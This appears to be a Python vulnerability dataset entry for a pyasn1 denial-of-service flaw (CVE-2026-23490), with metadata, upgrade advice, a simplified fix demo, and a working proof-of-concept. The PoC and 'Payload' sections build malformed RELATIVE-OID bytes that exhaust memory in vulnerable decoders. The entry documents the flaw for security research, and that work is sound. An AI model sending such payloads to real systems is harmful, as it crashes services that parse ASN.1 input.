CVE-2026-23490
pyasn1: DoS via memory exhaustion from a malformed RELATIVE-OID.
- CVSS 7.5
- CWE-770
- Resource Management
- Remote
pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.2, a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets. This vulnerability is fixed in 0.6.2.
- CWE
- CWE-770
- CVSS base score
- 7.5
- Published
- 2026-01-16
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- pyasn1
- Fixed by upgrading
- Yes
Solution
Upgrade pyasn1 to version 0.6.2 or later.
Vulnerable code sample
from pyasn1.codec.ber import decoder
# The CVE description points to a Denial-of-Service via memory exhaustion
# from a malformed RELATIVE-OID with excessive continuation octets.
# A RELATIVE-OID has a tag of 0x0D.
# An octet with its most significant bit set (e.g., > 0x7F) is a continuation
# octet in a variable-length integer encoding.
#
# This PoC constructs a payload with:
# 1. The RELATIVE-OID tag (0x0D).
# 2. A long-form length specifier for a very large payload.
# 3. A value consisting of a huge number of continuation octets (e.g., 0x81).
#
# A vulnerable version of pyasn1 will attempt to decode these continuation
# octets into a single, massive integer, consuming memory until the process
# crashes.
# The size of the malicious payload's value. A few tens of megabytes is
# usually sufficient to cause memory exhaustion quickly.
payload_size = 50_000_000
# Construct the malformed ASN.1 data
malformed_data = (
# Tag for RELATIVE-OID
b'\x0d' +
# Length (long-form): 0x84 indicates the next 4 bytes define the length
b'\x84' + payload_size.to_bytes(4, 'big') +
# Value: A massive sequence of continuation octets (0x81)
(b'\x81' * payload_size)
)
# In a vulnerable version, this decode call will not complete. It will
# consume an increasing amount of RAM until the system's OOM killer
# terminates the process or a MemoryError is raised internally.
decoder.decode(malformed_data)Patched code sample
import io
# The pyasn1 fix introduced a limit on the number of sub-identifiers that can be
# decoded for an OID or a Relative OID. This constant represents that limit.
# The actual fix is in the pyasn1.codec.ber.decoder module. This code
# provides a simplified, self-contained demonstration of the fixing logic.
MAX_SUB_OID_COUNT = 1024
class PyAsn1Error(Exception):
"""A base class for pyasn1 exceptions."""
pass
def decode_relative_oid_safely(encoded_bytes: bytes):
"""
A simplified decoder for a Relative OID that demonstrates the DoS fix.
The vulnerability existed because a malicious payload could contain an
enormous number of sub-identifiers, each encoded with just one or a few
bytes. The old decoder would try to process all of them, allocating memory
for each one and eventually leading to memory exhaustion.
The fix is to introduce a counter and stop decoding if the number of
sub-identifiers exceeds a reasonable limit (MAX_SUB_OID_COUNT).
"""
sub_oids = []
sub_oid_count = 0
# Use BytesIO to simulate reading from a stream, similar to the real decoder
stream = io.BytesIO(encoded_bytes)
while stream.tell() < len(encoded_bytes):
# FIX: Increment and check the counter *before* processing and allocating
# memory for the next sub-identifier. This prevents memory exhaustion.
sub_oid_count += 1
if sub_oid_count > MAX_SUB_OID_COUNT:
raise PyAsn1Error(
f'Too many sub-OIDs in RELATIVE-OID, limit of {MAX_SUB_OID_COUNT} reached'
)
# In a real decoder, this part is more complex. It reads variable-length
# base-128 encoded integers. For this demonstration, we'll simplify and
# assume each sub-oid is a single byte for clarity.
sub_oid_value_byte = stream.read(1)
if not sub_oid_value_byte:
break # End of stream
# This is a placeholder for the complex sub-identifier decoding logic.
# The key is that this logic would have been executed in a loop
# without a limit check.
sub_oid_value = int.from_bytes(sub_oid_value_byte, 'big')
sub_oids.append(sub_oid_value)
return tuple(sub_oids)
# Example usage to demonstrate the fix in action.
# 1. A benign payload with a few sub-identifiers. This will pass.
# In a real BER encoding, these would be base-128 encoded. Here we use
# simple bytes for a clear demonstration.
benign_payload = b'\x01\x02\x03\x04'
# 2. A malicious payload crafted to cause memory exhaustion.
# It contains more sub-identifiers than the allowed limit.
malicious_payload = b'\x00' * (MAX_SUB_OID_COUNT + 5)
if __name__ == '__main__':
print("--- Demonstrating the fix for CVE-2026-23490 (hypothetical) ---")
print(f"Decoder is configured with a limit of {MAX_SUB_OID_COUNT} sub-OIDs.\n")
try:
print(f"Attempting to decode a benign payload of length {len(benign_payload)}...")
decoded_oid = decode_relative_oid_safely(benign_payload)
print(f"Successfully decoded benign payload: {decoded_oid}\n")
except PyAsn1Error as e:
print(f"Decoding benign payload failed unexpectedly: {e}\n")
try:
print(f"Attempting to decode a malicious payload of length {len(malicious_payload)}...")
decode_relative_oid_safely(malicious_payload)
print("Decoding malicious payload succeeded (VULNERABLE BEHAVIOR).")
except PyAsn1Error as e:
print(f"Successfully caught malicious payload with an error: {e}")
print("The limit prevented a potential Denial-of-Service attack.")Payload
# The payload is a DER-encoded RELATIVE-OID with a large number of continuation octets.
# Tag for RELATIVE-OID is 0x0D.
# Length is set to a large value, e.g., 1,000,000 (0x0F4240).
# The length is encoded in long-form: 0x83 (3 bytes) followed by 0x0F4240.
# The value consists of 1,000,000 bytes of 0x81, which is a continuation octet
# that forces the parser to keep allocating memory for a single sub-identifier.
num_octets = 1000000
payload = b'\x0d\x83\x0f\x42\x40' + (b'\x81' * num_octets)
Cite this entry
@misc{vaitp:cve202623490,
title = {{pyasn1: DoS via memory exhaustion from a malformed RELATIVE-OID.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-23490},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-23490/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
